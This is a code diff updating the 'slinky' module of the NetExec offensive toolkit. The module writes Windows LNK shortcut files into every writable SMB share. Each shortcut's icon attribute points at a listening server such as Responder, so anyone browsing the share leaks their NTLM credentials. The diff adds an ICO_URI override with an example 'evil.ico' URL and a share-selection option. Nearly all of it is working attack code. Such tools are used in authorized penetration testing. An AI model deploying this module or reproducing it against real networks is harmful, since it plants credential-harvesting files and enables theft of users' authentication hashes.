@@ -7,71 +7,89 @@ class NXCModule:
77 """
88 Original idea and PoC by Justin Angel (@4rch4ngel86)
99 Module by @byt3bl33d3r
10+ Updated by @Marshall-Hallenbeck
1011 """
1112
1213 name = "slinky"
13- description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
14+ description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
1415 supported_protocols = ["smb" ]
1516 opsec_safe = False
1617 multiple_hosts = True
1718
18- def __init__ (self , context = None , module_options = None ):
19- self .context = context
20- self .module_options = module_options
19+ def __init__ (self ):
2120 self .server = None
2221 self .file_path = None
2322 self .lnk_path = None
2423 self .lnk_name = None
24+ self .ico_uri = None
25+ self .shares = None
2526 self .cleanup = None
2627
2728 def options (self , context , module_options ):
28- """
29- SERVER IP of the SMB server
30- NAME LNK file name
29+ r"""
30+ SERVER IP of the listening server (running Responder, etc)
31+ NAME LNK file name written to the share(s)
32+ ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
33+ SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
3134 CLEANUP Cleanup (choices: True or False)
3235 """
3336 self .cleanup = False
3437
3538 if "CLEANUP" in module_options :
3639 self .cleanup = bool (module_options ["CLEANUP" ])
40+ context .log .debug ("Cleanup set to True" )
3741
3842 if "NAME" not in module_options :
3943 context .log .fail ("NAME option is required!" )
4044 exit (1 )
45+
46+ if "SHARES" in module_options :
47+ self .shares = module_options ["SHARES" ].split ("," )
48+ context .log .debug (f"Shares to write to: { self .shares } " )
4149
4250 if not self .cleanup and "SERVER" not in module_options :
4351 context .log .fail ("SERVER option is required!" )
4452 exit (1 )
45-
53+
54+ if "ICO_URI" in module_options :
55+ self .ico_uri = module_options ["ICO_URI" ]
56+ context .log .debug ("Overriding" )
57+
58+
4659 self .lnk_name = module_options ["NAME" ]
4760 self .lnk_path = f"/tmp/{ self .lnk_name } .lnk"
4861 self .file_path = ntpath .join ("\\ " , f"{ self .lnk_name } .lnk" )
4962
5063 if not self .cleanup :
5164 self .server = module_options ["SERVER" ]
5265 link = pylnk3 .create (self .lnk_path )
53- link .icon = f"\\ \\ { self .server } \\ icons\\ icon.ico"
66+ link .icon = self . ico_uri if self . ico_uri else f"\\ \\ { self .server } \\ icons\\ icon.ico"
5467 link .save ()
5568
5669 def on_login (self , context , connection ):
5770 shares = connection .shares ()
58- for share in shares :
59- if "WRITE" in share ["access" ] and share ["name" ] not in [
60- "C$" ,
61- "ADMIN$" ,
62- "NETLOGON" ,
63- ]:
64- context .log .success (f"Found writable share: { share ['name' ]} " )
65- if not self .cleanup :
66- with open (self .lnk_path , "rb" ) as lnk :
71+ if shares :
72+ slinky_logger = context .log .init_log_file ()
73+ context .log .add_file_log (slinky_logger )
74+
75+ for share in shares :
76+ # TODO: these can be written to - add an option to override these
77+ if "WRITE" in share ["access" ] and share ["name" ] not in ["C$" , "ADMIN$" , "NETLOGON" , "SYSVOL" ]:
78+ if self .shares is not None and share ["name" ] not in self .shares :
79+ context .log .debug (f"Did not write to { share ['name' ]} share as it was not specified in the SHARES option" )
80+ continue
81+
82+ context .log .success (f"Found writable share: { share ['name' ]} " )
83+ if not self .cleanup :
84+ with open (self .lnk_path , "rb" ) as lnk :
85+ try :
86+ connection .conn .putFile (share ["name" ], self .file_path , lnk .read )
87+ context .log .success (f"Created LNK file on the { share ['name' ]} share" )
88+ except Exception as e :
89+ context .log .fail (f"Error writing LNK file to share { share ['name' ]} : { e } " )
90+ else :
6791 try :
68- connection .conn .putFile (share ["name" ], self .file_path , lnk . read )
69- context .log .success (f"Created LNK file on the { share ['name' ]} share" )
92+ connection .conn .deleteFile (share ["name" ], self .file_path )
93+ context .log .success (f"Deleted LNK file on the { share ['name' ]} share" )
7094 except Exception as e :
71- context .log .fail (f"Error writing LNK file to share { share ['name' ]} : { e } " )
72- else :
73- try :
74- connection .conn .deleteFile (share ["name" ], self .file_path )
75- context .log .success (f"Deleted LNK file on the { share ['name' ]} share" )
76- except Exception as e :
77- context .log .fail (f"Error deleting LNK file on share { share ['name' ]} : { e } " )
95+ context .log .fail (f"Error deleting LNK file on share { share ['name' ]} : { e } " )
0 commit comments